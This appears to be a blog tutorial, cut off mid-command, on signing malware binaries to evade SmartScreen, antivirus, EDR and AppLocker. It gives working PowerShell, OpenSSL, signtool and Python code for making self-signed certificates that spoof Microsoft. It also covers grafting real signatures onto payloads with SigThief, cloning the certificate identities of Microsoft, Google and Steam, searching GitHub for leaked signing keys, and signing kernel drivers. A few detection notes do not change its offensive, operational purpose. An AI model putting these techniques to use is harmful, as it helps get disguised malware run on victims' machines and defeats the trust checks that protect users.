ᛉ Yggdrasil

Malware development

Malware Binary Signing

15 Sep 2026 · 9,359 words · 43 min

Contents

Legend: [SIGN] = Signing technique | [SPOOF] = Spoofing/forgery method | [CERT] = Certificate operation | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [WIN] = Windows-specific


1. Why Signing Matters for Malware

What it means: Windows uses Authenticode signatures to establish trust in executables, DLLs, scripts, and drivers. A valid signature tells the OS and security products that a binary was produced by a known, trusted publisher and hasn't been tampered with since signing. AV/EDR products use signing status as a major trust signal — signed binaries get reduced scrutiny, while unsigned ones trigger immediate alerts.

The core problem (unsigned malware):

Unsigned loader.exe dropped to disk:

Windows SmartScreen:
├─ "Windows protected your PC" dialog
├─ Reputation: UNKNOWN (no signing history)
├─ Action: Block execution unless user clicks "More info"
└─ User friction → detection risk

AV / EDR:
├─ No signature = no trust anchor
├─ All bytes scanned at maximum sensitivity
├─ Behavior monitoring: high alert threshold
└─ MOTW (Mark of the Web) → extra restrictions

Why signing helps:

Signed loader.exe (valid cert, plausible publisher name):

Windows SmartScreen:
├─ Signed: YES (DigiCert issued, timestamp: 2024-01-15)
├─ Publisher: "Contoso Software LLC"
├─ Action: Allow execution silently or reduced warning
└─ Result: Binary runs without user alert

AV / EDR:
├─ Signed binary = lower initial scan priority
├─ Fewer heuristics triggered (implicit trust)
├─ EDR: behavioral monitoring still applies, but entry bar raised
└─ Result: Better chance of execution in locked-down environments

Why it matters for red teaming:

Scenario Unsigned Signed (any cert) Signed (EV/stolen)
SmartScreen prompt Always shown Suppressed (if reputable) Suppressed
AV scan priority Maximum Reduced Significantly reduced
Driver load (kernel) Blocked Blocked Allowed (EV + WHQL)
PowerShell execution Blocked (AllSigned) Allowed Allowed
MOTW restrictions Applied Partially bypassed Bypassed
AppLocker bypass Blocked Possible bypass Reliable bypass
EDR trust level Untrusted Trusted (less scrutiny) Highly trusted

The signing strategy stack (recommended):

Unsigned payload
    └─ Self-signed cert     (layer 1 — removes "unsigned" flag)
         └─ Cloned cert      (layer 2 — mimics real publisher identity)
              └─ Timestamp   (layer 3 — bypasses cert expiry checks)
                   └─ EV/stolen cert  (layer 4 — maximum trust, SmartScreen reputation)

[OPSEC] Signing alone doesn't bypass behavioral detection. Combine with shellcode encryption, PPID spoofing, and indirect syscalls for full evasion.


2. How Authenticode Works (Windows PE Signing)

What it means: Authenticode is Microsoft's code signing standard for PE (Portable Executable) binaries. It embeds a PKCS#7/CMS signature inside the PE file's WIN_CERTIFICATE structure. The signature covers a hash of the PE file content (excluding the signature itself and certain PE header fields).

2.1 PE Signing Architecture

PE File Structure (after signing):

┌─────────────────────────────────────┐
│  DOS Header                         │
│  PE Header (OPTIONAL_HEADER)        │
│    └─ CheckSum (patched at sign)    │
│    └─ Security Directory Entry ─────┼──► Points to Signature Block
│  Section Table (.text, .data, ...)  │
│  Sections                           │
│  [Padding]                          │
│  ┌───────────────────────────────┐  │
│  │  WIN_CERTIFICATE structure    │  │
│  │  ├─ dwLength                  │  │
│  │  ├─ wRevision (0x0200)        │  │
│  │  ├─ wCertificateType (PKCS#7) │  │
│  │  └─ bCertificate[]            │  │
│  │      └─ PKCS#7 SignedData     │  │
│  │          ├─ ContentInfo       │  │
│  │          │   └─ SpcIndirectData│ │
│  │          │       └─ PE Hash   │  │
│  │          ├─ DigestAlgorithm   │  │
│  │          ├─ Signer Certificate│  │
│  │          ├─ Certificate Chain │  │
│  │          └─ Countersignature  │  │
│  │              └─ Timestamp TSA │  │
│  └───────────────────────────────┘  │
└─────────────────────────────────────┘

2.2 What Gets Hashed (and What Doesn't)

Authenticode Hash Calculation — What IS included:
├─ PE header (most fields)
├─ All section data (.text, .data, .rsrc, etc.)
├─ Everything in the file except excluded regions

Authenticode Hash Calculation — What is EXCLUDED:
├─ CheckSum field in OPTIONAL_HEADER       ← Can be modified freely
├─ Security Directory entry (RVA + Size)  ← Points to signature block
├─ WIN_CERTIFICATE block itself           ← The signature isn't in its own hash
└─ Regions after the last section (EOF padding)

Implication:
  You can modify EOF padding without invalidating the signature.
  → This is used by malware to hide data after the signature.
  → Modifying any section byte WILL invalidate the signature.

2.3 Verification Flow

WinVerifyTrust() / CryptVerifyMessageSignature() flow:

1. Read WIN_CERTIFICATE from Security Directory
2. Parse PKCS#7 SignedData structure
3. Extract SpcIndirectDataContent → get embedded hash + algorithm
4. Recalculate hash of PE file (excluding exempt regions)
5. Compare: Embedded hash == Calculated hash?
   ├─ NO  → Signature invalid (file was modified)
   └─ YES → Continue

6. Build certificate chain from signer cert
7. Verify chain leads to trusted root CA (in Windows Cert Store)
   ├─ Untrusted root → "Unknown publisher" (but still signs)
   └─ Trusted root   → "Verified publisher"

8. Check countersignature (timestamp):
   ├─ Present → Check TSA timestamp (allows expired cert signing)
   └─ Absent  → Cert must be currently valid

9. Check revocation (CRL/OCSP):
   ├─ Revoked → Signature invalid
   └─ Valid   → TRUSTED

2.4 Inspect a Binary's Signature

# PowerShell — Check signature status
Get-AuthenticodeSignature -FilePath "C:\path\to\file.exe" | Format-List *

# Output fields:
# SignerCertificate : Certificate object
# TimeStamperCertificate : Timestamp cert
# Status : Valid / NotSigned / UnknownError / HashMismatch / NotTrusted
# StatusMessage : Human readable
# Path : File path

# Quick one-liner — check status only
(Get-AuthenticodeSignature "file.exe").Status

# Check all EXEs in a directory
Get-ChildItem "C:\Windows\System32\*.exe" | ForEach-Object {
    $sig = Get-AuthenticodeSignature $_.FullName
    [PSCustomObject]@{
        File   = $_.Name
        Status = $sig.Status
        Signer = $sig.SignerCertificate.Subject
    }
} | Format-Table -AutoSize
:: CMD — sigcheck (Sysinternals)
sigcheck.exe -a -v C:\path\to\file.exe

:: sigcheck output breakdown:
::   Verified:        Signed
::   Signing date:    Mon Jan 15 14:22:01 2024
::   Publisher:       Contoso Software LLC
::   Company:         Contoso
::   Description:     ...
::   Product:         ...
::   Prod version:    ...
::   File version:    ...
::   MachineType:     64-bit
::   Binary Version:  ...
::   OriginalName:    ...
::   Internal Name:   ...
::   Copyright:       ...
::   Comments:        ...
# Python — Parse PE signature using pefile
import pefile
import struct

pe = pefile.PE("file.exe")

# Check if Security Directory exists (index 4)
if hasattr(pe, 'DIRECTORY_ENTRY_SECURITY'):
    sec_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
    print(f"[+] Signature block found")
    print(f"    RVA:  0x{sec_dir.VirtualAddress:08x}")
    print(f"    Size: 0x{sec_dir.Size:08x} ({sec_dir.Size} bytes)")

    # Read WIN_CERTIFICATE header
    offset = sec_dir.VirtualAddress  # Raw offset for flat files
    data = pe.__data__[offset:offset+8]
    length, revision, cert_type = struct.unpack('<IHH', data)
    print(f"    Length:   {length}")
    print(f"    Revision: 0x{revision:04x}")
    print(f"    Type:     0x{cert_type:04x} (2=PKCS#7)")
else:
    print("[-] No signature found — binary is unsigned")

3. Certificate Types & Trust Hierarchy

What it means: Not all code signing certificates are equal. Windows maintains a trust hierarchy based on the issuing Certificate Authority (CA) and certificate type. Different cert types have different trust levels, costs, and AV/SmartScreen impact.

3.1 Certificate Type Comparison

Certificate Trust Hierarchy (low → high):

[1] Self-Signed Certificate
    ├─ Issued by: Yourself (openssl, makecert, New-SelfSignedCertificate)
    ├─ Trust: NONE (root not in Windows Cert Store)
    ├─ SmartScreen: Still shows "Unknown publisher" warning
    ├─ Cost: Free
    ├─ Revocable: NO
    └─ Use: Removes "unsigned" flag, bypasses some basic checks

[2] OV Code Signing Certificate (Organization Validation)
    ├─ Issued by: DigiCert, Sectigo, Comodo, GlobalSign, etc.
    ├─ Trust: HIGH (CA root in Windows Cert Store)
    ├─ SmartScreen: Reduced warning, builds reputation over time
    ├─ Cost: ~$200–$500/year
    ├─ Revocable: YES (CRL/OCSP)
    └─ Use: Legitimate signing, SmartScreen reputation building

[3] EV Code Signing Certificate (Extended Validation)
    ├─ Issued by: DigiCert, Sectigo (after thorough vetting)
    ├─ Trust: VERY HIGH (instant SmartScreen reputation)
    ├─ SmartScreen: Bypasses reputation system immediately
    ├─ Cost: ~$500–$1000/year + hardware token required
    ├─ Revocable: YES
    └─ Use: Maximum trust, kernel drivers (with WHQL), instant bypass

[4] Stolen/Leaked Certificate
    ├─ Issued by: Any CA (obtained through compromise)
    ├─ Trust: SAME AS ORIGINAL (until revoked)
    ├─ SmartScreen: Full bypass (real cert, real trust)
    ├─ Cost: Free (but criminal liability)
    ├─ Revocable: YES (when discovered)
    └─ Use: APT-level operations (ASUS, CCleaner, 3CX supply chain)

[5] Cloned/Spoofed Certificate (CarbonCopy technique)
    ├─ Issued by: Yourself (mimics a real cert's metadata)
    ├─ Trust: NONE (same as self-signed, root not trusted)
    ├─ SmartScreen: Shows spoofed publisher name ("Microsoft Corp")
    ├─ Cost: Free
    ├─ Revocable: NO
    └─ Use: Social engineering, "looks signed by Microsoft" visually

3.2 Certificate Chain Inspection

# PowerShell — Inspect certificate chain
$sig = Get-AuthenticodeSignature "C:\Windows\System32\notepad.exe"
$cert = $sig.SignerCertificate

# Print the chain
$chain = New-Object System.Security.Cryptography.X509Certificates.X509Chain
$chain.Build($cert)

$chain.ChainElements | ForEach-Object {
    Write-Host "Subject: $($_.Certificate.Subject)"
    Write-Host "Issuer:  $($_.Certificate.Issuer)"
    Write-Host "Thumbprint: $($_.Certificate.Thumbprint)"
    Write-Host "Valid: $($_.Certificate.NotBefore) → $($_.Certificate.NotAfter)"
    Write-Host "---"
}
# Linux — inspect cert chain embedded in PE with osslsigncode
osslsigncode verify -in file.exe -v

# OpenSSL — extract and parse PKCS#7 block
# First: extract the signature block using python/sigcheck/pedump
openssl pkcs7 -inform DER -in sig.p7b -print_certs -text -noout

3.3 List Trusted Root CAs (Windows)

# List all trusted root CAs in Windows cert store
Get-ChildItem -Path "Cert:\LocalMachine\Root" |
    Select-Object Subject, Thumbprint, NotAfter |
    Sort-Object Subject |
    Format-Table -AutoSize

# Find a specific CA
Get-ChildItem -Path "Cert:\LocalMachine\Root" |
    Where-Object { $_.Subject -like "*DigiCert*" } |
    Select-Object Subject, Thumbprint, NotAfter

4. Self-Signed Certificate Signing

What it means: Generate your own code signing certificate without purchasing from a CA. The cert will not be trusted by Windows (chain doesn't lead to a trusted root), but it does make the binary "signed" — removing the "unsigned" flag that triggers maximum AV scrutiny. Useful for bypassing basic signature checks and AppLocker whitelisting by publisher name on internal systems where you've installed your own root CA.

4.1 Generate Self-Signed Cert (Windows — PowerShell)

# Generate a code signing certificate (self-signed)
$cert = New-SelfSignedCertificate `
    -Type CodeSigningCert `
    -Subject "CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" `
    -KeyAlgorithm RSA `
    -KeyLength 2048 `
    -HashAlgorithm SHA256 `
    -CertStoreLocation "Cert:\CurrentUser\My" `
    -NotAfter (Get-Date).AddYears(5) `
    -FriendlyName "My Code Signing Cert"

# View the cert's thumbprint (needed for signtool)
Write-Host "Thumbprint: $($cert.Thumbprint)"

# Export as PFX (with password)
$password = ConvertTo-SecureString -String "P@ssw0rd123" -Force -AsPlainText
Export-PfxCertificate `
    -Cert "Cert:\CurrentUser\My\$($cert.Thumbprint)" `
    -FilePath "C:\certs\codesign.pfx" `
    -Password $password

# Export cert only (public key, no private key)
Export-Certificate `
    -Cert "Cert:\CurrentUser\My\$($cert.Thumbprint)" `
    -FilePath "C:\certs\codesign.cer" `
    -Type CERT

Write-Host "[+] Certificate created and exported"

4.2 Install Self-Signed Root CA (Make it Trusted on Target)

# To make your self-signed cert "trusted" on a machine you control:
# 1. Export the cert as a root CA cert
# 2. Import into Trusted Root CA store (requires admin)

# Import into Trusted Root Certification Authorities (machine-wide)
Import-Certificate `
    -FilePath "C:\certs\codesign.cer" `
    -CertStoreLocation "Cert:\LocalMachine\Root"

# Now binaries signed with this cert will show as "Verified publisher"
# on THIS machine only

# Verify it's in the store
Get-ChildItem "Cert:\LocalMachine\Root" | 
    Where-Object { $_.Subject -like "*Microsoft Windows*" } |
    Select-Object Subject, Thumbprint

4.3 Generate Self-Signed Cert (Linux — OpenSSL)

# Generate RSA private key (2048-bit)
openssl genrsa -out codesign.key 2048

# Generate certificate signing request (CSR)
# Fill in fields to mimic a real publisher
openssl req -new -key codesign.key -out codesign.csr \
    -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=Microsoft Windows"

# Self-sign the certificate (valid 5 years)
openssl x509 -req -days 1825 \
    -in codesign.csr \
    -signkey codesign.key \
    -out codesign.crt \
    -extensions v3_code_sign

# Create extensions file for code signing usage
cat > v3_code_sign.ext << 'EOF'
[v3_code_sign]
keyUsage = critical, digitalSignature
extendedKeyUsage = critical, codeSigning
basicConstraints = CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
EOF

# Re-sign with extensions
openssl x509 -req -days 1825 \
    -in codesign.csr \
    -signkey codesign.key \
    -out codesign.crt \
    -extfile v3_code_sign.ext \
    -extensions v3_code_sign

# Bundle into PFX (for Windows signtool)
openssl pkcs12 -export \
    -out codesign.pfx \
    -inkey codesign.key \
    -in codesign.crt \
    -passout pass:P@ssw0rd123

# Verify the cert
openssl x509 -in codesign.crt -text -noout | grep -E "Subject:|Issuer:|Not|Extended"

4.4 Sign a Binary with Self-Signed Cert (signtool.exe)

:: Sign using thumbprint (from New-SelfSignedCertificate output)
signtool.exe sign ^
    /sha1 "THUMBPRINT_HERE" ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    /v ^
    "C:\payload\loader.exe"

:: Sign using PFX file
signtool.exe sign ^
    /f "C:\certs\codesign.pfx" ^
    /p "P@ssw0rd123" ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    /d "Windows System Component" ^
    /du "https://www.microsoft.com" ^
    /v ^
    "C:\payload\loader.exe"

:: Verify signature
signtool.exe verify /pa /v "C:\payload\loader.exe"

[DETECT] Self-signed certs are trivially identified — the issuer == subject and the chain doesn't resolve to a known root CA. EDRs flag this pattern.


5. Stolen / Leaked Authenticode Certificates

What it means: Threat actors compromise software vendors and exfiltrate their private code signing certificates and keys. The stolen cert is legitimate — it chains to a real trusted CA, has real SmartScreen reputation, and bypasses all signature checks until the CA revokes it (which takes time after discovery).

5.1 Real-World Examples

Notable stolen/abused code signing certificates:

[2013] Adobe Systems
├─ Attackers signed malware with Adobe's valid cert
├─ Discovered by Adobe, cert revoked within hours
└─ Lesson: Even tier-1 vendors get compromised

[2017] ASUS Live Update (ShadowHammer — APT41)
├─ Legitimate ASUS signing cert used to sign trojanized update
├─ Signed binary passed all signature checks
├─ ~500,000 machines received signed malware
└─ Cert: Valid ASUS cert → revoked after discovery

[2017] CCleaner (Avast)
├─ Build pipeline compromised — malware inserted before signing
├─ Final binary had valid Avast Authenticode signature
├─ 2.27 million downloads of signed malware
└─ Lesson: Signing happens AFTER compilation — compromise the build

[2022] 3CX (Lazarus Group / North Korea)
├─ 3CX's build system compromised
├─ Trojanized installer signed with valid 3CX certificate
├─ Target: financial institutions, infrastructure
└─ Detection was delayed because signature was 100% valid

[2023] Windows kernel drivers (multiple)
├─ Microsoft WHQL-signed malicious drivers discovered
├─ Exploited the extended signing period policy
└─ Used in: BlackByte, Scattered Spider, Lazarus operations

5.2 Find Leaked Certificates (OPSEC Research)

# Known public sources for leaked/compromised certs (for research):

# 1. Search GitHub for leaked PFX files
# GitHub Dorking:
# filename:*.pfx password
# filename:*.p12 extension:p12
# "-----BEGIN CERTIFICATE-----" extension:pem codesigning

# 2. VirusTotal Intelligence (requires subscription)
# Search: tag:signed type:peexe
# Then correlate signatures with revoked cert lists

# 3. CRL (Certificate Revocation List) — see what's been revoked
# DigiCert CRL: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl
# Parse CRL to find recently revoked code signing certs

# Download and parse a CRL
openssl crl -inform DER -in crl.crl -text -noout | \
    grep -A5 "Revoked Certificate"

# 4. CTI feeds — some leak databases publish hashes of signed malware
# MalwareBazaar: https://bazaar.abuse.ch/
# Query: signature="Microsoft Corporation" (find malware pretending to be MS)

5.3 Verify a Certificate is Still Valid (Before Use)

#!/usr/bin/env python3
# check_cert_status.py — Check if a code signing cert is still valid / not revoked

import subprocess
import sys
from datetime import datetime, timezone
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.x509.ocsp import OCSPRequestBuilder
import requests

def load_pfx(pfx_path: str, password: bytes):
    """Load a PFX and return the certificate."""
    from cryptography.hazmat.primitives.serialization import pkcs12
    with open(pfx_path, "rb") as f:
        pfx_data = f.read()
    private_key, cert, chain = pkcs12.load_key_and_certificates(
        pfx_data, password, default_backend()
    )
    return cert, chain

def check_expiry(cert):
    """Check if certificate is expired."""
    now = datetime.now(timezone.utc)
    not_after = cert.not_valid_after_utc
    not_before = cert.not_valid_before_utc

    print(f"[*] Certificate validity:")
    print(f"    Not Before: {not_before}")
    print(f"    Not After:  {not_after}")
    print(f"    Now:        {now}")

    if now < not_before:
        print("[-] Certificate is NOT YET VALID")
        return False
    elif now > not_after:
        print("[-] Certificate is EXPIRED")
        return False
    else:
        days_left = (not_after - now).days
        print(f"[+] Certificate is VALID ({days_left} days remaining)")
        return True

def get_cert_info(cert):
    """Print certificate details."""
    print(f"[*] Subject:    {cert.subject.rfc4514_string()}")
    print(f"[*] Issuer:     {cert.issuer.rfc4514_string()}")
    print(f"[*] Serial:     {cert.serial_number:x}")
    print(f"[*] Thumbprint: {cert.fingerprint(cert.signature_hash_algorithm).hex()}")

# ─── Usage ───────────────────────────────────────────────────
pfx_path = sys.argv[1] if len(sys.argv) > 1 else "codesign.pfx"
password  = sys.argv[2].encode() if len(sys.argv) > 2 else b"P@ssw0rd123"

cert, chain = load_pfx(pfx_path, password)
get_cert_info(cert)
is_valid = check_expiry(cert)

if is_valid:
    print("\n[+] Cert is usable for signing (verify revocation manually via CRL)")
else:
    print("\n[-] Cert is not usable")

[OPSEC] Using stolen certs leaves artifacts. The cert serial number, thumbprint, and signer name are all logged by EDRs and Windows Event Log. These become IOCs in threat intel databases.


6. Certificate Cloning (Sigthief / CarbonCopy)

What it means: Certificate cloning copies the metadata (Subject, Issuer, validity dates, serial number) from a real trusted certificate (e.g., Microsoft, Google, Nvidia) and creates a new self-signed certificate that looks identical in the signer info displayed to users and in basic checks. The chain doesn't validate, but the displayed publisher name is convincing. Combined with sigthief, you can graft a real certificate's signature block from a legitimate binary onto your malware.

6.1 Sigthief — Graft Real Signature onto Malware

How Sigthief works:

Legitimate binary (notepad.exe):
├─ Valid Microsoft Authenticode signature
├─ WIN_CERTIFICATE block at EOF
└─ Hash covers notepad.exe's content

Sigthief operation:
├─ Extract WIN_CERTIFICATE block from notepad.exe
├─ Strip WIN_CERTIFICATE from malware.exe
├─ Append notepad.exe's WIN_CERTIFICATE to malware.exe
└─ Update Security Directory RVA/Size in malware.exe header

Result (malware.exe):
├─ Has a Microsoft signature block
├─ Displayed signer: "Microsoft Windows"
├─ BUT: Hash mismatch → WinVerifyTrust() returns error
└─ HOWEVER: Many AV products only check presence, not validity
# Clone: https://github.com/secretsquirrel/SigThief

# Install
git clone https://github.com/secretsquirrel/SigThief
cd SigThief

# Extract signature from legitimate binary and add to your payload
python3 sigthief.py \
    -i "C:\Windows\System32\notepad.exe" \
    -t "payload.exe" \
    -o "signed_payload.exe"

# Check the result
python3 sigthief.py -i signed_payload.exe -r  # View cert info

# Remove signature (if needed)
python3 sigthief.py -i signed_payload.exe -s  # Strip signature

# Options:
# -i  Input legitimate binary (cert source)
# -t  Target binary (your payload)  
# -o  Output filename
# -r  Read/display signature info
# -s  Strip signature
# -g  Grab signature block and save to file

6.2 CarbonCopy — Clone a Certificate's Identity

# CarbonCopy: https://github.com/paranoidninja/CarbonCopy
# Clones a real cert's METADATA and creates a self-signed cert with same details

git clone https://github.com/paranoidninja/CarbonCopy
pip3 install pyOpenSSL

# Clone Microsoft's cert identity and sign your payload
python3 CarbonCopy.py \
    www.microsoft.com \         # Pull cert from this domain
    443 \                        # HTTPS port
    payload.exe \               # Your payload to sign
    signed_payload.exe          # Output

# What it does:
# 1. Connects to www.microsoft.com:443
# 2. Pulls the TLS certificate chain
# 3. Creates a new self-signed cert with SAME Subject/Issuer details
# 4. Signs payload.exe with this cloned cert
# 5. Output shows "Microsoft Corporation" as signer

# You can clone ANY company's cert:
python3 CarbonCopy.py windows.microsoft.com 443 payload.exe output.exe
python3 CarbonCopy.py www.google.com 443 payload.exe output.exe
python3 CarbonCopy.py store.steampowered.com 443 payload.exe output.exe

6.3 Manual Certificate Cloning (Python)

#!/usr/bin/env python3
# clone_cert.py — Clone a real cert's metadata into a self-signed code signing cert

import ssl
import socket
import subprocess
from OpenSSL import crypto
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.backends import default_backend
import datetime

def fetch_cert_from_host(hostname: str, port: int = 443) -> x509.Certificate:
    """Fetch TLS certificate from a real website."""
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    with socket.create_connection((hostname, port), timeout=10) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as ssock:
            der_cert = ssock.getpeercert(binary_form=True)

    return x509.load_der_x509_certificate(der_cert, default_backend())

def clone_and_sign(real_cert: x509.Certificate, output_pfx: str, password: str):
    """Create a new self-signed cert cloning the real cert's identity."""

    # Generate new RSA key pair
    key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )

    # Clone the subject from the real cert
    real_subject = real_cert.subject

    # Build cloned certificate
    builder = x509.CertificateBuilder()
    builder = builder.subject_name(real_subject)       # Clone subject
    builder = builder.issuer_name(real_subject)        # Self-signed = issuer == subject
    builder = builder.public_key(key.public_key())
    builder = builder.serial_number(real_cert.serial_number)  # Clone serial
    builder = builder.not_valid_before(real_cert.not_valid_before_utc)  # Clone validity
    builder = builder.not_valid_after(real_cert.not_valid_after_utc)

    # Add code signing extended key usage
    builder = builder.add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CODE_SIGNING]),
        critical=True
    )
    builder = builder.add_extension(
        x509.KeyUsage(
            digital_signature=True, content_commitment=False,
            key_encipherment=False, data_encipherment=False,
            key_agreement=False, key_cert_sign=False,
            crl_sign=False, encipher_only=False, decipher_only=False
        ),
        critical=True
    )
    builder = builder.add_extension(
        x509.BasicConstraints(ca=False, path_length=None),
        critical=True
    )

    # Self-sign with SHA256
    cert = builder.sign(key, hashes.SHA256(), default_backend())

    # Export as PFX
    from cryptography.hazmat.primitives.serialization import pkcs12
    pfx_data = pkcs12.serialize_key_and_certificates(
        name=b"Cloned Code Signing",
        key=key,
        cert=cert,
        cas=None,
        encryption_algorithm=serialization.BestAvailableEncryption(password.encode())
    )

    with open(output_pfx, "wb") as f:
        f.write(pfx_data)

    print(f"[+] Cloned certificate saved to: {output_pfx}")
    print(f"[*] Subject: {cert.subject.rfc4514_string()}")
    print(f"[*] Valid:   {cert.not_valid_before_utc} → {cert.not_valid_after_utc}")

# ─── Usage ───────────────────────────────────────────────────
target_host = "www.microsoft.com"
print(f"[*] Fetching certificate from {target_host}...")
real_cert = fetch_cert_from_host(target_host)
print(f"[*] Real cert subject: {real_cert.subject.rfc4514_string()}")

clone_and_sign(real_cert, "cloned_codesign.pfx", "P@ssw0rd123")
print("[+] Now sign your payload with: signtool.exe sign /f cloned_codesign.pfx ...")

[DETECT] Cloned certs fail WinVerifyTrust() full chain validation. EDRs that call WinVerifyTrust() with full policy (not just presence check) will flag these. Basic AV may not check chain validity.


7. Timestamp Spoofing

What it means: A timestamp countersignature (from a Timestamp Authority/TSA) records the exact time a binary was signed. This allows the binary to remain "valid" even after the signing certificate expires — Windows checks whether the cert was valid at the time of signing, not at the current time. Attackers abuse this by: (a) signing with a currently valid cert and timestamping, so the binary remains trusted after the cert expires or is revoked; or (b) back-dating the timestamp to make malware appear to have been signed years ago (blending in with old software).

7.1 Timestamp Servers (Public, Free)

Public TSA (Timestamp Authority) servers:

DigiCert:
  http://timestamp.digicert.com
  http://timestamp.digicert.com/sha256/timestamp

Sectigo (Comodo):
  http://timestamp.comodoca.com
  http://timestamp.comodoca.com/authenticode
  http://timestamp.sectigo.com

GlobalSign:
  http://timestamp.globalsign.com/scripts/timstamp.dll
  http://timestamp.globalsign.com/?signature=sha2

Entrust:
  http://timestamp.entrust.net/TSS/AuthenticodeTS

QuoVadis:
  http://tsa.quovadisglobal.com/TSS/HttpTspServer

Free (RFC 3161 compliant):
  http://timestamp.apple.com/ts01
  http://tsa.starfieldtech.com

7.2 Sign with Timestamp

:: Sign AND timestamp in one signtool call
signtool.exe sign ^
    /f "codesign.pfx" ^
    /p "P@ssw0rd123" ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    /v ^
    payload.exe

:: /tr = RFC 3161 timestamp server (modern, recommended)
:: /td = timestamp digest algorithm (must match /fd)
:: /t  = old-style (Authenticode) timestamp (legacy, avoid)

:: Verify timestamp was applied
signtool.exe verify /pa /v payload.exe
:: Look for: "Signed successfully." + "Timestamp verified."
# Linux — sign with timestamp using osslsigncode
osslsigncode sign \
    -pkcs12 codesign.pfx \
    -pass P@ssw0rd123 \
    -h sha256 \
    -t http://timestamp.digicert.com \
    -in payload.exe \
    -out signed_payload.exe

# With RFC 3161 timestamp (recommended)
osslsigncode sign \
    -pkcs12 codesign.pfx \
    -pass P@ssw0rd123 \
    -h sha256 \
    -ts http://timestamp.digicert.com \
    -in payload.exe \
    -out signed_payload.exe

7.3 Read Timestamp from Signed Binary

# PowerShell — Read the timestamp
$sig = Get-AuthenticodeSignature "payload.exe"
$ts_cert = $sig.TimeStamperCertificate

if ($ts_cert) {
    Write-Host "[+] Timestamp found:"
    Write-Host "    TSA Subject: $($ts_cert.Subject)"
    Write-Host "    Timestamp:   $($ts_cert.NotBefore)"  # Approximate signing time
} else {
    Write-Host "[-] No timestamp (binary validity ends with cert expiry)"
}
#!/usr/bin/env python3
# read_timestamp.py — Extract timestamp from PE Authenticode signature

import sys
from asn1crypto import cms, core
import pefile
import struct

def extract_signature_block(pe_path: str) -> bytes:
    """Extract the raw PKCS#7 signature block from a PE."""
    pe = pefile.PE(pe_path)
    sec_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
    if sec_dir.Size == 0:
        return None

    # WIN_CERTIFICATE header is 8 bytes, skip it
    offset = sec_dir.VirtualAddress + 8
    size   = sec_dir.Size - 8
    return pe.__data__[offset:offset+size]

def read_timestamp(pe_path: str):
    sig_block = extract_signature_block(pe_path)
    if not sig_block:
        print("[-] No signature found")
        return

    # Parse PKCS#7 SignedData
    content_info = cms.ContentInfo.load(sig_block)
    signed_data  = content_info['content']

    # Look for countersignature (timestamp) in signer infos
    for signer_info in signed_data['signer_infos']:
        unsigned_attrs = signer_info['unsigned_attrs']
        for attr in unsigned_attrs:
            attr_type = attr['type'].native
            if attr_type in ('countersignature', '1.2.840.113549.1.9.6'):
                print("[+] Countersignature (timestamp) found")
                # The value contains another SignerInfo (the TSA's)
                for val in attr['values']:
                    ts_signer = cms.SignerInfo.load(val.contents)
                    ts_time = ts_signer['signed_attrs'].native
                    print(f"    Signing time: {ts_time.get('signing_time', 'unknown')}")

read_timestamp(sys.argv[1] if len(sys.argv) > 1 else "payload.exe")

[OPSEC] Timestamp servers log requests. High-volume signing requests to public TSAs are visible and may be flagged by threat intel. Use different TSAs across operations.


8. Cross-Certificate Abuse

What it means: Windows kernel driver signing requires a specific trust chain. Historically (pre-2015), attackers used SHA-1 cross-certificates to sign kernel drivers without WHQL approval. Cross-certificates are special CA certs issued by Microsoft that chain a third-party CA back to the Microsoft Root. With the right cross-certificate and an OV/EV signing cert, you could sign kernel drivers.

8.1 Cross-Certificate Architecture

Driver Signing Trust Chain (Legacy — pre-Win10 UEFI Secure Boot):

Microsoft Root CA
    └─ [Cross Certificate] → DigiCert CA (or other CA)
        └─ [Code Signing Cert] → Vendor Certificate
            └─ [Signed Driver] → evil.sys

Modern (Win10 post-2021):
  New kernel mode drivers must be:
  ├─ WHQL-certified (by Microsoft's Hardware Lab Kit testing)
  ├─ OR have an EV code signing cert + submitted to Dev Portal
  └─ OR target Windows 7/8 (legacy signing accepted with bcdedit)

8.2 Download Microsoft Cross-Certificates

# Download cross-certificates from Microsoft
$cross_cert_url = "http://www.microsoft.com/pkiops/certs/MicCorUEFCA2011_2011-06-27.crt"
Invoke-WebRequest -Uri $cross_cert_url -OutFile "cross_cert.crt"

# Common cross-certificate URLs:
# http://www.microsoft.com/pkiops/certs/MicCorUEFCA2011_2011-06-27.crt
# http://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt
# https://www.microsoft.com/pkiops/certs/MicRooCerAut2011_2011_03_22.crt

# Import cross-certificate
Import-Certificate -FilePath "cross_cert.crt" -CertStoreLocation "Cert:\LocalMachine\CA"

8.3 Sign Driver with Cross-Certificate (Legacy — Testing)

:: Sign a kernel driver using cross-certificate (legacy method)
:: Requires: valid EV/OV code signing cert + cross-cert + inf2cat

:: Step 1: Create catalog file from INF
inf2cat.exe /driver:"C:\driver" /os:10_X64

:: Step 2: Sign the catalog
signtool.exe sign ^
    /fd SHA256 ^
    /f "codesign.pfx" ^
    /p "P@ssw0rd123" ^
    /ac "cross_cert.crt" ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    "C:\driver\driver.cat"

:: Step 3: Sign the SYS file itself
signtool.exe sign ^
    /fd SHA256 ^
    /f "codesign.pfx" ^
    /p "P@ssw0rd123" ^
